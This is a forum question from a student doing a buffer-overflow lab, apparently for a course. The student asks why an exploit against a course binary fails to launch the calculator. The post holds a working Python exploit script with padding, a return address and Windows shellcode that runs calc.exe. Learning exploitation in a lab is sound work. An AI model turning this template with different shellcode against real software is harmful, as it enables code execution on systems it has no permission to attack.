Reputation: 13
I am trying Buffer Overflow pentesting, and the idea is to ultimately get the calculator executed. After getting everything right, as in calculating the needed bytes to overflow the buffer and reach the eip, and actually putting in the address of the esp to my payload as shown in my python code (and yes it is in backward order), the calculator just doesn't work at all. The shellcode was provided by my professor, and fellow students are able to run the calculator by just running the python code, without actually putting in the real address needed for the attack. So, I wonder what my problem is.
Could it be something simple like a protection feature by the OS?
This is the python code, used as a mal code.
from subprocess import Popen, PIPE
payload = b"\xc4"* 62
payload += b"\x87\xc0\xbc\x76"
payload += (b"\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
b"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
b"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
b"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
b"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
b"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
b"\x53\x53\x53\x53\x52\x53\xff\xd7") # execute calc.exe
p = Popen(["overflow.exe"], stdout=PIPE, stdin=PIPE)
p.communicate(payload)
For extra info, my esp address is 0x76bcc087 and I need 62 bytes in order to reach the eip (calculated by mona.py on dbg)
Upvotes: 0
Views: 38